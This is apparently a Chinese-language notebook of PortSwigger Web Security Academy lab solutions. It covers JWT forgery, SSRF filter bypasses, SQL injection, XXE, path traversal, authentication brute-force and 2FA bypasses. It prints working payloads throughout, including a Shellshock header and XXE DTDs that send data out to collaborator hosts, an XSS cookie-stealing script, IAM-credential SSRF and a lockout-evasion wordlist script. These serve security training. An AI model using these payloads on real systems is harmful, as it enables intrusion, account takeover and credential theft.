1. JWT身份验证

爆破弱secret

HS256 对称加密他会使用同一个秘钥来加解密,RS256 非对称加密他会使用公私钥加密或者解密

使用jwt_tool这个python项目来尝试爆破 https://github.com/ticarpi/jwt_tool,使用jwt_tool-2.2.7搭配python 3.10版本

eyJraWQiOiJlZTUzMTMwYy0xN2Q5LTQ1MDctYmEwMi04NDUxYzYzZTg4ZGIiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsImV4cCI6MTc3OTk4NTQ0OCwic3ViIjoid2llbmVyIn0.A_J9Iv7aL7UgRzPU_V6v_8vYJ7QdcA8bbysRDNhaz5c
{
  "kid": "ee53130c-17d9-4507-ba02-8451c63e88db",
  "alg": "HS256" 
}
。。。


F:\桌面\tools\jwt\jwt_tool-2.2.7>python ./jwt_tool.py eyJraWQiOiIyNzY5OTY0MC1iMDRiLTQ3YjMtYmI1NS04ODA0Yjc1NDkzZGIiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsImV4cCI6MTc4MDAxNzkxMCwic3ViIjoid2llbmVyIn0.DWsPFYvZEGNIl563KxCw3Y3XRegiNf6mBn8j7Yz5B_E -C -d F:\桌面\tools\dict\100k-most-used-passwords-NCSC.txt

        \   \        \         \          \                    \
   \__   |   |  \     |\__    __| \__    __|                    |
         |   |   \    |      |          |       \         \     |
         |        \   |      |          |    __  \     __  \    |
  \      |      _     |      |          |   |     |   |     |   |
   |     |     / \    |      |          |   |     |   |     |   |
\        |    /   \   |      |          |\        |\        |   |
 \______/ \__/     \__|   \__|      \__| \______/  \______/ \__|
 Version 2.2.7                \______|             @ticarpi

Original JWT:

[+] secret1 is the CORRECT key!
You can tamper/fuzz the token contents (-T/-I) and sign it using:
python3 jwt_tool.py [options here] -S hs256 -p "secret1"

F:\桌面\tools\jwt\jwt_tool-2.2.7>

# 得到正确的secret后通过jwt editor进行粘贴秘钥调整payload即可进行测试

jwk头部参数注入

https://portswigger.net/web-security/jwt/lab-jwt-authentication-bypass-via-jwk-header-injection

{
    "kid": "ed2Nf8sb-sD6ng0-scs5390g-fFD8sfxG",
    "typ": "JWT",
    "alg": "RS256",
    "jwk": {
        "kty": "RSA",
        "e": "AQAB",
        "kid": "ed2Nf8sb-sD6ng0-scs5390g-fFD8sfxG",
        "n": "yy1wpYmffgXBxhAUJzHHocCuJolwDqql75ZWuCQ_cb33K2vh9m"
    }
}

需要使用JWT Editor来生成一个新的 RSA key

image-BZwX.png

回到重放器repeater选择json web token点attack选第一个再选择刚才生成的jwk,再调整一下payload为administrator即可

kid头目录遍历绕过

https://portswigger.net/web-security/jwt/lab-jwt-authentication-bypass-via-kid-header-path-traversal

先到jwt editor生成一个对称加密,点generate后修改k的值为AA==他就Base64 编码的空字节,然后点ok即可

kid头每次都试验加一个../回到上一级尝试访问/dev/null ,有需要自动变更payload内容,每次变更后都需要点击Sign点ok后即可发起重放攻击看结果

jku 头部注入绕过

https://portswigger.net/web-security/jwt/lab-jwt-authentication-bypass-via-jku-header-injection

先使用jwt editor创建一个非对称秘钥并且复制成为jwk set集合

来到portswigger提供的在线例子https://exploit-0aab00fb044e53af809e5789015800bc.exploit-server.net/ 将复制的jwk set集合放到body里面去点击store保存,他就相当于是一个小文件,等会就远程引用这个jku地址,达到绕过目的,需要留意jwk set集中的kid值,等会需要用到

修改kid 新增jku内容为上面的地址 调整payload为 administrator 最后点击sign签名选择最开始的那份非对称秘钥点ok,即可发起重放,可以看到通过了

算法混淆绕过 JWT 身份验证

https://portswigger.net/web-security/jwt/algorithm-confusion/lab-jwt-authentication-bypass-via-algorithm-confusion

已知道他会提供一个/jwks.json 这就是泄露源,通过json格式化提取里面的内容,利用jwt editor生成rsa非对称秘钥

将主体jwks复制到jwt editor中创建rsa非对称秘钥,粘贴到jwk中,然后切换到pem 复制内容到decode转码成base64

从decoder中复制base64,回到jwt editor中创建对称加密将base64替换到k

调整payload为administrator 签名选择最后的对称秘钥 头部更新参数alg即可重放测试

RS256 非对称加密泄漏绕过

在泄露得到私钥加密的情况下,可以直接使用jwt editor创建非对称加密放入pem中即可

相反如果没法得到加密秘钥,但是得到了验证verify秘钥,这个时候可以尝试将RS256变更为对称加密HS256或许可以绕过

const jwt = require('jsonwebtoken');
const fs = require('fs');

// 读取公钥文件
const publicKey = fs.readFileSync('./public.key', 'utf8');

// 构造 payload
const payload = {
    user: 'admin'
};

// 关键:使用 HS256 算法,用公钥作为密钥进行签名
const fakeToken = jwt.sign(payload, publicKey, { algorithm: 'HS256' });

console.log('伪造的 JWT Token:');
console.log(fakeToken);
console.log('\n使用方法:');
console.log(`curl -X POST http://目标地址/ -b "auth=${fakeToken}"`);

2. SSRF

# 常规绕过
url=http://0/flag.php
url=http://127.1/flag.php
url=http://127%2e1/flag.php
# 指向自己的域名,但是域名解析是127.0.0.1
url=http://test.tanqidi.com/flag.php


# 针对本地服务器的基本SSRF攻击
https://portswigger.net/web-security/ssrf/lab-basic-ssrf-against-localhost
在检查库存功能他是提交的一个url,将这个步骤放到重放器,放入http://localhost/admin先经过url编码传过去能响应用户列表,点删除会失败,将参数拼接完整变成http://localhost/admin/delete?username=carlos 再url编码传入stockApi再次发起,即可通过
stockApi=http%3A%2F%2Fstock.weliketoshop.net%3A8080%2Fproduct%2Fstock%2Fcheck%3FproductId%3D1%26storeId%3D1


# 针对另一后端系统的基础SSRF攻击
https://portswigger.net/web-security/ssrf/lab-basic-ssrf-against-backend-system
这个题目的要求是扫描给定网段的主机端口也给出了8080,用x占位,用intruder爆破端口,也可以用cluster bomb attack来二级爆破,二级参数给出一些常用的端口,最后出结果拼接路径/admin即可往下走,点击删除再拼接到stockApi即可完成删除
stockApi=http%3A%2F%2F192.168.0.x:x


https://portswigger.net/web-security/ssrf/blind/lab-out-of-band-detection
# 无带外检测的盲式ssrf攻击,这题直接将burp collaborator域名放到Referer头即可通过,这是后端拿Referer做了请求?这或许是拿了referer请求后想分析来源是什么网站,做某种统计,但是意外造成了ssrf

https://portswigger.net/web-security/ssrf/lab-ssrf-with-blacklist-filter
做了一定的安全检测,过滤了localhost,127.0.0.1,admin这种关键词,似乎可以用127.1来代替,然后双重 URL 编码 admin 中的字母:a → %2561
stockApi=http://127.1/%2561dmin
stockApi=http://127.1/a%25%36%34min
使用burp Decoder模块,对admin字符串做双重url编码
stockApi=http://127.1/%25%36%31%25%36%34%25%36%64%25%36%39%25%36%65
对点.进行ur编码得到%2e
stockApi=http://127%2e1/a%25%36%34min
最终执行删除用户
stockApi=http://127%2e1/a%25%36%34min/delete?username=carlos


https://portswigger.net/web-security/ssrf/lab-ssrf-filter-bypass-via-open-redirection
通过开放重定向漏洞绕过过滤器实现SSRF,浏览商品他有Next product下一个商品,会出现一个路由,可以看到他有个path,这个就是ssrf注入点,这个考点主要就是可能后端是通过某种路由接口来完成的,在打点的时候需要留意一下他的api请求格式
GET /product/nextProduct?currentProductId=17&path=/product?productId=18 HTTP/2
来到检查库存功能接口,然后替换路径,即可出现用户界面,重放删除用户即可
stockApi=/product/nextProduct?path=http://192.168.0.12:8080/admin
stockApi=/product/nextProduct?path=http://192.168.0.12:8080/admin/delete?username=carlos


https://portswigger.net/web-security/ssrf/blind/lab-shellshock-exploitation
利用Shellshock漏洞的盲打SSRF,在referer中爆破内网ip,在ua头中插入命令,外带信息到collaborator
User-Agent: () { :; }; /usr/bin/nslookup $(whoami).0de9k7r5tvlrpdyfkd21a5led5jw7n5bu.oastify.com
Referer: http://192.168.0.x:8080

✨✨✨
https://portswigger.net/web-security/ssrf/lab-ssrf-with-whitelist-filter   
他加了点ssrf过滤只允许白名单域名stock.weliketoshop.net,这个太难了,没发理解,但似乎能get到它的点
原始是http://127.1#@stock.weliketoshop.net/admin 对#做两次url编码变成%2523
stockApi=http://127.1%2523@stock.weliketoshop.net/admin
stockApi=http://127.1%2523@stock.weliketoshop.net/admin/delete?username=carlos

3. API 攻防

利用文档攻击 API 端点

https://portswigger.net/web-security/api-testing/lab-exploiting-api-endpoint-using-documentation

用dirsearch扫一遍看到有/api访问看到了接口调用详情

Output File: F:\BaiduNetdiskDownload\V3.0\v3\tools\gui_scan\dirsearch\reports\https_0a7000780367cd4082e8a254003e002b.web-security-academy.net\__26-06-01_11-21-38.txt

Target: https://0a7000780367cd4082e8a254003e002b.web-security-academy.net/

[11:21:38] Starting:
[11:24:36] 302 -    0B  - /api  ->  /api/
[11:24:36] 200 -    1KB - /api/
[11:24:36] 404 -   41B  - /api/2/explore/
[11:24:36] 404 -   41B  - /api/2/issue/createmeta
[11:24:36] 404 -   41B  - /api/__swagger__/

看他是RESTFul风格的api,支持GET DELETE PATCH 可以在burpsuite拼接成为GET或者DELETE /api/user/carlos 即可删除用户过关

查找并利用未使用的 API 端点

https://portswigger.net/web-security/api-testing/lab-exploiting-unused-api-endpoint

看文档要求是利用api来实现零元购,登录后抓包看到有/api/products/1/price这个商品接口,它响应了json 推测他是RESTFul Api 对它发起PUT提示只支持GET与PATCH 换成PATCH后将它先前响应的json给放到body里面,再将它需要的Content-Type: application/json; charset=utf-8 放到头部 重放后成功修改为0元,添加进购物车下单,通过

利用批量赋值漏洞

4. GraphQL 渗透

可以为burpsuite添加inql插件,发现graphql入口直接通过拓展过去分析一波,如果没有被拦截会有很多有用的接口,假设被拦截可以使用以下注入命令来尝试获取结构

https://graphql.cn/learn/introspection/

https://nathanrandal.com/graphql-visualizer/

https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/GraphQL%20Injection

有些接口是隐藏的,默认不公开只有正确发起功能请求才能看到,这种情况可以尝试使用burp scan来尝试扫描一下,或许能有意料之外的结果,再配合graphql注入命令来获取schema结果导出成为json在inql中加载json就能顺利看到接口结构

5. WebSockets 渗透

websockets.svg

x. 操纵 WebSocket 消息以利用漏洞

靶场直接提交xss语句会被转义,在burp中拦截消息再加入原始的语句 <img src=1 onerror='alert(1)'> 即可触发xss弹窗

6. sql 注入

片段均为burpsuite抓包,使用sqlmap是没有灵魂的

https://portswigger.net/web-security/sql-injection/lab-retrieve-hidden-data
GET /filter?category=Pets' or 1=1 -- -


https://portswigger.net/web-security/sql-injection/lab-login-bypass
账号:administrator' -- -
密码:随意


https://portswigger.net/web-security/sql-injection/examining-the-database/lab-querying-database-version-oracle
# 确定有几个字段
GET /filter?category=Gifts' order by 2 -- - HTTP/2
# 因为是Oracle联合注入select他必须强制from一张表的,就用dual
GET /filter?category=Gifts' union select null,null from dual -- - HTTP/2
# Oracle的版本不是函数,而是叫v$version 并且它是一个类似表的存在,是有字段的,叫BANNER
GET /filter?category=Gifts' union select BANNER,null from v$version -- - HTTP/2
# 也可以优雅用别名,但是Oracle不支持as,可以这样用 简单
GET /filter?category=Gifts' union select v.BANNER,null from v$version v -- - HTTP/2


https://portswigger.net/web-security/sql-injection/examining-the-database/lab-querying-database-version-mysql-microsoft
# 确定有几个字段
GET /filter?category=Gifts' order by 2 -- - HTTP/2
# 尝试获取版本与用户,版本即可以用version()也可以尝试用@@version
GET /filter?category=Gifts' union select version(),current_user() -- - HTTP/2


# PostgreSQL 联合注入跨表获取数据
https://portswigger.net/web-security/sql-injection/examining-the-database/lab-listing-database-contents-non-oracle
# 确定有几个字段
GET /filter?category=Pets' order by 2 -- - HTTP/2
# 确定字段响应类型
GET /filter?category=Pets' union select '','' -- - HTTP/2
# 确定数据库类型 PostgreSQL 12.22 (Ubuntu 12.22-0ubuntu0.20.04.4) on x86_64-pc-linux-gnu, compiled by gcc (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0, 64-bit
GET /filter?category=Pets' union select '',version() -- - HTTP/2
# 尝试获取所有表,因为是PostgreSQL 似乎与MySQL的注入方式不太一样
GET /filter?category=Pets' union select '',table_name from information_schema.tables -- - HTTP/2
# 看上面获取所有表,大概率是users_sizrfm这个表,获取这个表的字段
GET /filter?category=' union select '', column_name from information_schema.columns where table_name = 'users_sizrfm' -- - HTTP/2
# 按响应的字段拼接获取数据,成功获取administrator的数据
GET /filter?category=' union select '', concat(username_cewpwj, '  ', password_yxzfim, '  ', email) from users_sizrfm -- - HTTP/2
GET /filter?category=' union select '', concat_ws('  ', username_cewpwj, password_yxzfim, email) from users_sizrfm -- - HTTP/2


https://portswigger.net/web-security/sql-injection/union-attacks/lab-determine-number-of-columns
# 确定列数
GET /filter?category=' order by 3 -- - HTTP/2
# 看题目3个null占列即可完成题目
GET /filter?category=' union select null,null,null -- - HTTP/2


# 要求是按实验室界面给出的随机值给注入到字段里面
https://portswigger.net/web-security/sql-injection/union-attacks/lab-find-column-containing-text
# 确认列数
GET /filter?category=Gifts' order by 3 -- - HTTP/2
# 注入随机值
GET /filter?category=Gifts' union select null,'05WHKI',null -- - HTTP/2


# 根据之前学到的知识,联合注入获取其他表的内容获取administrator账号密码
https://portswigger.net/web-security/sql-injection/union-attacks/lab-retrieve-data-from-other-tables
# 确定列数
GET /filter?category=Gifts' order by 2 -- - HTTP/2
# 尝试获取所有表,因为是PostgreSQL 似乎与MySQL的注入方式不太一样
GET /filter?category=Pets' union select '',table_name from information_schema.tables -- - HTTP/2
# 看结果尝试获取users表字段
GET /filter?category=Pets' union select '', column_name from information_schema.columns where table_name = 'users' -- - HTTP/2
# 获取数据, 成功看到administrator账号密码
GET /filter?category=' union select '', concat_ws('  ', username, password, email) from users -- - HTTP/2


# 练习联合注入多字段合一响应
https://portswigger.net/web-security/sql-injection/union-attacks/lab-retrieve-multiple-values-in-single-column
# 确定列数
GET /filter?category=Pets' order by 2 -- - HTTP/2
# 确定列类型,第二个列是字符串,后续多合一结果利用concat_ws响应在里面
GET /filter?category=Pets' union select 1,'hello' -- - HTTP/2
# 获取表
GET /filter?category=Pets' union select 1,table_name from information_schema.tables -- - HTTP/2
# 获取字段
GET /filter?category=Pets' union select 1, column_name from information_schema.columns where table_name = 'users' -- - HTTP/2
# 获取数据, 成功看到administrator账号密码
GET /filter?category=Pets' union select 1, concat_ws('  ', username, password, email) from users -- - HTTP/2


# 盲注
https://portswigger.net/web-security/sql-injection/blind/lab-conditional-responses


# 基于可见错误的sql注入攻击
https://portswigger.net/web-security/sql-injection/blind/lab-sql-injection-visible-error-based

7. XXE

xxe-injection.svg

常规实体:定义后必须在 XML 标签内用 &实体名; 调用,执行后会将内容直接嵌入到标签位置,适合有回显的文件读取。

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<stockCheck>
  <productId>&xxe;6</productId>
  <storeId>1</storeId>
</stockCheck>

参数实体:定义后仅在 DTD 内部%实体名; 调用,用于盲 XXE 探测或通过嵌套 DTD 将数据带外发送到攻击者服务器,标签内无需任何调用。

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE stockCheck [
  <!ENTITY % xxe SYSTEM "http://69d7ngspgi04f3ti791yxt7vdmjd742sr.oastify.com">
  %xxe;
]>
<stockCheck>
  <productId>1</productId>
  <storeId>1</storeId>
</stockCheck>
# 
https://portswigger.net/web-security/xxe/lab-exploiting-xxe-to-retrieve-files
# 似乎是最简单的方式了
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<stockCheck>
  <productId>&xxe;6</productId>
  <storeId>1</storeId>
</stockCheck>


https://portswigger.net/web-security/xxe/lab-exploiting-xxe-to-perform-ssrf
# 利用 XXE 进行 SSRF 攻击,直接可以云上攻击了,从 EC2 元数据端点获取服务器的 IAM 秘密访问密钥
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [ <!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/admin"> ]>
<stockCheck>
  <productId>1&xxe;</productId>
  <storeId>1</storeId>
</stockCheck>


https://portswigger.net/web-security/xxe/blind/lab-xxe-with-out-of-band-interaction
# 通过带外通道交互的盲 XXE 攻击,此场景它不回显 但是可以通过 collaborator 来识别是否触发请求从而判断是否存在ssrf
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [ <!ENTITY xxe SYSTEM "http://0rsmmy61furn0831avuqzz5h88ez2uqj.oastify.com"> ]>
<stockCheck>
  <productId>1&xxe;</productId>
  <storeId>1</storeId>
</stockCheck>


https://portswigger.net/web-security/xxe/blind/lab-xxe-with-out-of-band-interaction-using-parameter-entities
# 带 % 的参数实体,通过xml参数实体进行外带交互的盲式xxe攻击,因为如果用前面的都是&xxe;放在字段里面,校验可能会直接失败,不能用
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE stockCheck [
  <!ENTITY % xxe SYSTEM "http://69d7ngspgi04f3ti791yxt7vdmjd742sr.oastify.com">
  %xxe;
]>
<stockCheck>
  <productId>1</productId>
  <storeId>1</storeId>
</stockCheck>


https://portswigger.net/web-security/xxe/blind/lab-xxe-with-out-of-band-exfiltration
# 利用盲式XXE漏洞通过恶意外部DTO来窃取数据,进主页先到Go to exploit server生成文件复制地址,http为burpsuite提供的collaborator地址
<!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'http://s2vtg2lb94tq8pm40vukqf0h68cz0rsfh.oastify.com/?x=%file;'>">
%eval;
%exfil;
# 来到burp重放器远程地址填写靶场提供的文件地址,内部就是dtd内容了
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "https://exploit-0afd0032044b4b8c80972f14010300df.exploit-server.net/exploit"> %xxe;]>
<stockCheck>
  <productId>1</productId>
  <storeId>1</storeId>
</stockCheck>


https://portswigger.net/web-security/xxe/blind/lab-xxe-with-data-retrieval-via-error-messages
# 利用盲式XXE漏洞通过错误信息获取数据,和上面一样,进主页先到Go to exploit server生成文件复制地址
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'file:///invalid/%file;'>">
%eval;
%exfil;
# 来到burp重放器远程地址填写靶场提供的文件地址,内部就是dtd内容了
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "https://exploit-0ad4001b0473ed8c81d7c48e01020051.exploit-server.net/exploit"> %xxe;]>
<stockCheck>
  <productId>3</productId>
  <storeId>1</storeId>
</stockCheck>


https://portswigger.net/web-security/xxe/lab-xinclude-attack
# 利用xinclude来获取文件,提交body看似productId=1&storeId=1实际他在后端是组装成为xml的,productId的值换成xinclude尝试注入
productId=1<foo xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include parse="text" href="file:///etc/passwd"/></foo>&storeId=1


https://portswigger.net/web-security/xxe/lab-xxe-via-file-upload
# svg文件上传xxe,将svg内容显示出了密码
<?xml version="1.0" standalone="yes"?>
<!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/passwd" > ]>
<svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1">
  <text font-size="16" x="0" y="16">&xxe;</text>
</svg>

8. 路径遍历

# 最简单利用
https://portswigger.net/web-security/file-path-traversal/lab-simple
GET /image?filename=../../../etc/passwd HTTP/2


# 通过绝对路径绕过被阻止的遍历序列
https://portswigger.net/web-security/file-path-traversal/lab-absolute-path-bypass
通过绝对路径通过了,有时候不能光顾用../ 也要结合/根目录的方式尝试
GET /image?filename=/etc/passwd HTTP/2


# 非递归方式剥离遍历序列,双层路径叠加
https://portswigger.net/web-security/file-path-traversal/lab-sequences-stripped-non-recursively
双层路径叠加....//....//....//etc/passwd,每个....//被替换都会剩下另外一个../  后端可能是进行了关键词../替换为空
GET /image?filename=....//....//....//etc/passwd HTTP/2


# 遍历序列经过多余的URL解码后被剥离, burp的decoder实在太长了,不过似乎也是正常的
https://portswigger.net/web-security/file-path-traversal/lab-superfluous-url-decode
CaptfEncoder url编码两次 ../../../etc/passwd > ..%2F..%2F..%2Fetc%2Fpasswd > ..%252F..%252F..%252Fetc%252Fpasswd
burp decoder url编码两次 ../../../etc/passwd > %2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64 > %25%32%65%25%32%65%25%32%66%25%32%65%25%32%65%25%32%66%25%32%65%25%32%65%25%32%66%25%36%35%25%37%34%25%36%33%25%32%66%25%37%30%25%36%31%25%37%33%25%37%33%25%37%37%25%36%34


# 路径起始位置验证
https://portswigger.net/web-security/file-path-traversal/lab-validate-start-of-path
默认是有前缀限制的他必须是某个固定的开头你没法在开头写../../ 但是可以在前缀/var/www/images/后面加../../穿越回去
GET /image?filename=/var/www/images/51.jpg HTTP/2
GET /image?filename=/var/www/images/../../../etc/passwd HTTP/2


# 通过空字节绕过对文件扩展名的验证
https://portswigger.net/web-security/file-path-traversal/lab-validate-file-extension-null-byte-bypass
他可能必须需要后缀才能识别但是加上后缀即使可以穿越文件也对不上了,使用%00可以进行截断 ,忽视后面的内容
GET /image?filename=../../../etc/passwd%00.jpg HTTP/2

输入:../../../etc/passwd%00.jpg
                ↓
检查扩展名:以 .jpg 结尾 ✅ 通过
                ↓
C 函数读取:遇到 %00 截断
                ↓
实际读取:../../../etc/passwd

9. Authentication

基础爆破

通过不同响应进行用户名枚举,分别先对username爆破出Incorrect password证明账号对了,再爆破密码出现302重定向则密码也出了

https://portswigger.net/web-security/authentication/password-based/lab-username-enumeration-via-different-responses

响应细微差别

在进行用户名枚举时,理论上系统对“用户名不存在”与“密码错误”的响应应该保持一致,但实际可能存在微小差异。例如,错误提示可能是 Invalid username or password.,而当用户名正确但密码错误时,提示可能少了一个点。

这种细微差异可以被 Burp Suite 捕捉到。在 Intruder 的右侧边栏 Settings 中,进入 Grep – Extract,点击 Add,然后在 Fetch response 里找到可能的差异点(例如 Invalid username or password.),选中并确认即可标记。

之后,点击 Attack,在结果列表中就会多出一列显示标记结果,通过对这列排序即可快速识别有效用户名。确认用户名后,再针对密码进行爆破即可完成整个流程。

https://portswigger.net/web-security/authentication/password-based/lab-username-enumeration-via-subtly-different-responses

交替爆破攻击,随机头来源绕过

假设他的封禁逻辑是 连续 3 次登录失败即封 IP。绕过策略可以是:在达到 3 次失败前,主动插入一次正确的登录,将失败计数器重置为 0

具体做法是使用 Burp 的 Pitchfork(干草叉) 攻击模式,并将并发请求数设为 1(确保请求严格按顺序发送),同时构造两个一一对应的字典:用户名字典交替填入“我的账号”和“目标账号”,密码字典交替填入“我的正确密码”和“候选弱密码”。攻击时按顺序发送:先用我的账号成功登录(重置计数),再连续猜 2 次目标密码(失败计数=2),然后再次用我的账号登录重置。这样循环往复,始终不触发封禁,可高效爆破目标密码。

还有一种情况是封 IP 时依赖 X-Forwarded-For 来源头,如果开发不严谨直接信任客户端传来的头,这就可能被篡改绕过。可以借助 Burp 插件 random-ip-address-header,让所有请求的 X-Forwarded-For 动态变化,每次都不同,理论上可以开到最大并发进行攻击。

https://github.com/portswigger/random-ip-address-header

https://portswigger.net/web-security/authentication/password-based/lab-username-enumeration-via-response-timing

root@tanqidi:/share-window/share# cat gen.sh 
#!/bin/bash

# ===== 配置区域(修改这里)=====
YOUR_USER="wiener"
YOUR_PASS="peter"
TARGET_USER="carlos"
PASSWORD_DICT="burpsuite-password-dict.txt"      # 你的密码字典文件
STEP=2                             # 每成功登录1次,猜几次密码(建议2,因为3次封禁)
# ============================

# 清空输出文件(使用 > 覆盖)
> usernames.txt
> passwords_aligned.txt

# 读取密码字典到数组
mapfile -t passwords < "$PASSWORD_DICT"
total=${#passwords[@]}

# 分批处理
for ((i=0; i<total; i+=STEP)); do
    # 先加自己的正确登录(重置计数器)
    echo "$YOUR_USER" >> usernames.txt
    echo "$YOUR_PASS" >> passwords_aligned.txt
    
    # 连续猜 STEP 次
    for ((j=0; j<STEP && i+j<total; j++)); do
        echo "$TARGET_USER" >> usernames.txt
        echo "${passwords[i+j]}" >> passwords_aligned.txt
    done
done

# 统计
user_count=$(wc -l < usernames.txt)
pass_count=$(wc -l < passwords_aligned.txt)

echo "✅ 生成完成!"
echo "   步长: $STEP(每登录1次,猜 $STEP 次密码)"
echo "   密码总数: $total"
echo "   用户名列表: usernames.txt ($user_count 行)"
echo "   密码列表:   passwords_aligned.txt ($pass_count 行)"

2FA 简单绕过

爆破账号与密码登录成功但是遇到 2FA 页面时,不要第一时间把精力放在验证码本身,可以先观察登录成功后服务器是否已经下发了 Session。如果用户名密码验证通过后已经获得了有效 Session,那么此时更值得测试的是认证状态是否真正受到 2FA 保护。直接携带当前 Session 访问 /my-account/profile/settings/api/user 等正常业务页面,观察后端是否仅校验 Session 存在而未校验 2FA 状态。如果业务页面能够正常访问,则说明系统存在 2FA 绕过或认证状态校验缺陷。很多情况下问题并不在验证码本身,而是在服务端错误地将“密码验证成功”与“完成登录认证”混为一谈,导致攻击者无需输入验证码即可访问受保护资源。

https://portswigger.net/web-security/authentication/multi-factor/lab-2fa-simple-bypass

双因素认证简易绕过

用户使用自己的账号完成用户名密码认证后,系统进入 /login2 双因素认证阶段,并为当前账户生成对应的 2FA 验证码。由于服务端通过客户端可控的 verify Cookie 来确定验证码所属用户,攻击者可以重放请求并将 verify=wiener 修改为 verify=carlos,从而诱导系统为 Carlos 账户生成新的 2FA 验证码。随后在验证码验证阶段继续保持 verify=carlos,对 mfa-code 参数进行暴力破解。一旦验证码猜测成功,服务端会直接将认证结果绑定到 Carlos 账户,最终实现无需密码接管目标账户。

https://portswigger.net/web-security/authentication/multi-factor/lab-2fa-broken-logic

延迟响应盲测

延迟响应盲测是一种通过响应时间差异判断后端执行逻辑的测试方法。当应用返回内容完全一致,无法从响应包直接获取结果时,可以观察请求耗时来推断条件是否成立。例如用户名存在时会执行密码哈希校验、数据库查询或其他耗时操作,而用户名不存在时直接返回错误,从而产生明显时间差。测试时可通过 Burp Intruder 发送多组请求,对响应时间进行统计分析,若某些请求耗时明显高于其他请求,则可能说明触发了额外的后端逻辑,可进一步用于用户名枚举、SQL注入盲注、命令执行盲测等场景。

https://portswigger.net/web-security/authentication/password-based/lab-username-enumeration-via-response-timing

密码重置逻辑故障

密码重置功能存在逻辑验证缺失,在修改密码阶段后端仅依赖客户端提交的 username 参数确定修改对象,并未校验重置链接中的 token 是否与当前用户绑定。攻击者可先为自己的账户发起密码重置获取合法请求,再将 username 修改为受害者账户,由于服务端未验证 token 的有效性及归属关系,导致可越权重置任意用户密码并接管账户。

https://portswigger.net/web-security/authentication/other-mechanisms/lab-password-reset-broken-logic

通过帐户锁定枚举用户名

登录功能存在用户名枚举漏洞,系统针对连续登录失败的有效用户实现了账户锁定机制,但不同场景返回了不同的错误信息。当攻击者使用不存在的用户名进行登录时返回普通认证失败,而对真实存在的用户名连续尝试多次错误密码后则返回账户锁定提示。由于系统暴露了账户状态差异,攻击者可通过观察响应内容、响应长度或错误提示枚举出有效用户名,随后再针对该用户进行密码爆破,最终实现账户接管。

https://portswigger.net/web-security/authentication/password-based/lab-username-enumeration-via-account-lock

记住我功能设置了 stay-logged-in Cookie,对其进行 Base64 解码后发现格式为 username:md5(password)。由于 Cookie 生成规则可预测,攻击者可利用 Intruder 对密码字典执行 MD5 哈希、拼接用户名前缀并进行 Base64 编码,批量构造目标用户 Cookie。当响应中出现 Update email 等已登录特征时,即表明 Cookie 构造成功,从而无需知道真实密码即可伪造目标用户身份完成登录。重放测试不要带有session否则会一直识别到先前的账号,无法出结果

xss窃取cookie与离线密码破解

该实验室同时存在存储型 XSS 与弱 Remember Me 机制。首先利用评论功能注入 XSS Payload (<script>document.location='//YOUR-EXPLOIT-SERVER-ID.exploit-server.net/'+document.cookie</script>)窃取受害者 Cookie,获取到 stay-logged-in 后对其进行 Base64 解码,可发现其格式为 username:md5(password)。提取其中的 MD5 值后可优先尝试在线彩虹表查询,简单密码通常能够直接恢复明文,无需进一步爆破。

若无法直接解出明文密码,则可根据 Cookie 生成规则使用 Intruder 进行构造,按照 MD5 → 添加用户名作为前缀 → Base64 编码 的顺序处理字典中的密码候选值,批量生成合法 Cookie 进行测试。当响应出现已登录特征时即可确定正确密码或有效 Cookie。

需要注意的是,测试过程中应移除原有 Session Cookie,否则服务端会优先识别当前已登录会话,导致构造出的 stay-logged-in Cookie 无法生效,从而影响结果判断。

https://portswigger.net/web-security/authentication/other-mechanisms/lab-offline-password-cracking

通过更改密码进行密码暴力破解

在修改密码时需要验证当前密码。如果当前密码错误,系统会返回“Current password is incorrect”之类的提示;而当当前密码正确时,系统会继续校验两次输入的新密码是否一致。

因此可以故意将两次新密码填写为不同的值,利用响应差异来判断当前密码是否正确:

  • 当前密码错误 → 返回 Current password is incorrect

  • 当前密码正确,但两次新密码不同 → 返回 New passwords do not match

这导致密码修改接口形成了一个密码验证。攻击者无需真正修改密码,只需不断替换 current-password 参数并观察响应内容,即可判断某个密码候选是否正确。

在 Burp Intruder 中将用户名修改为目标用户 carlos,固定两次新密码为不同值,对 current-password 参数进行字典爆破。通过 Grep Match 匹配 New passwords do not match 响应,即可从候选密码列表中识别出正确密码。

本质上这是由于密码修改流程暴露了过于详细的校验结果,不同验证阶段返回了可区分的错误信息,从而产生了响应差异漏洞(Response Discrepancy),使攻击者能够枚举并爆破用户密码。

https://portswigger.net/web-security/authentication/other-mechanisms/lab-password-brute-force-via-password-change

通过中间件进行密码重置投毒攻击

10. HTTP 头攻击

基本密码重置中毒

攻击者通过重置密码篡改 HTTP 请求中的 Host 头,诱导服务端使用攻击者控制的域名来构造对外的绝对 URL(尤其是密码重置邮件链接)。服务端错误地信任客户端提供的 Host 值,把包含敏感 Token 的恶意链接发给受害者,最终导致 Token 被外带到攻击者服务器,实现账号接管。

